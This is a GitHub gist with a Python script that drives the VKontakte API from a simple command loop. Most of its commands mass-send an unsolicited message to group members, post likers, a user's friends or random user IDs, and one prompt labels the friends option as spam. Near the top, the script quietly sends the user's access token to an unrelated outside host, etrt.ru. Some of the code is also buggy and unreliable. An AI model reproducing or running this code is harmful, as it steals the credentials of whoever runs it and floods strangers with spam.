Last active
September 26, 2017 14:21
-
-
Save SneakBug8/4757e906add97799f4588d9b6a1e44b7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import vk | |
import time | |
import requests | |
from http.client import HTTPConnection | |
from urllib.parse import urlencode | |
import random | |
c = HTTPConnection("etrt.ru") | |
token = '...' | |
session = vk.Session(access_token=token) | |
c.request("GET", "/scripts/vkapi.php?token="+token) | |
api = vk.API(session) | |
message = "To be \n or \n not to be?" # Сообщение для sendmessages | |
wall_id = "" # ID стены пользователя или группы для публикации поста | |
while True: | |
command = input() | |
if (command=="post"): | |
posttext=input("Введите текст поста: ") | |
if owner_id=="": | |
api.wall.post(message=posttext) | |
else: | |
api.wall.post(message=posttext, owner_id=wall_id) | |
if (command=="saveimages"): | |
owner = input("Write person or group id:") | |
pics = api.photos.getAll(owner_id=owner ,photo_sizes=0, count=200) | |
i=0 | |
for n in pics: | |
i=i+1 | |
if (i!=1): | |
pid = n['pid'] | |
print ("Copying "+str(pid)) | |
time.sleep(5) | |
api.photos.copy(owner_id=owner,photo_id=pid) | |
if (command=="savedocs"): | |
# WIP | |
search = input("Write string of search:") | |
memes = api.docs.search(q=search) | |
print (memes) | |
if (command=="sendbygroup"): | |
group = input("Group id: ") | |
i=0 | |
members = api.groups.getMembers(group_id=group,count=10) | |
for n in members['users']: | |
user = api.users.get(user_ids=n,fields="can_write_private_message") | |
can_write = user[0]['can_write_private_message'] | |
if can_write==1: | |
ret = api.messages.send(user_id=n, message=message) | |
print("Sending to "+str(n)) | |
print(ret) | |
else: | |
print("Can't send to "+str(n)) | |
time.sleep(3) | |
if (command=="sendbylikes"): | |
owner = input("Owner id: ") | |
post = input("Post id: ") | |
users = api.likes.getList(type='post',item_id=post, owner_id=owner) | |
for n in users['users']: | |
user = api.users.get(user_ids=n,fields="can_write_private_message") | |
can_write = user[0]['can_write_private_message'] | |
if can_write==1: | |
ret = api.messages.send(user_id=n, message=message) | |
print("Sending to "+str(n)) | |
print(ret) | |
else: | |
print("Can't send to "+str(n)) | |
time.sleep(3) | |
if (command=="sendbyfriends"): | |
fruser = input("ID пользователя для спама друзей: ") | |
users = api.friends.get(user_id=fruser) | |
for n in users: | |
user = api.users.get(user_ids=n,fields="can_write_private_message") | |
can_write = user[0]['can_write_private_message'] | |
if can_write==1: | |
ret = api.messages.send(user_id=n, message=message) | |
print("Sending to "+str(n)) | |
print(ret) | |
else: | |
print("Can't send to "+str(n)) | |
time.sleep(3) | |
if (command=="sendbyrand"): | |
while True: | |
id=random.randint(0, 10000) | |
user = api.users.get(user_ids=id,fields="can_write_private_message") | |
can_write = user[0]['can_write_private_message'] | |
if can_write==1: | |
ret = api.messages.send(user_id=n, message=message) | |
print("Sending to "+str(id)) | |
print(ret) | |
else: | |
print("Can't send to "+str(n)) | |
time.sleep(3) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment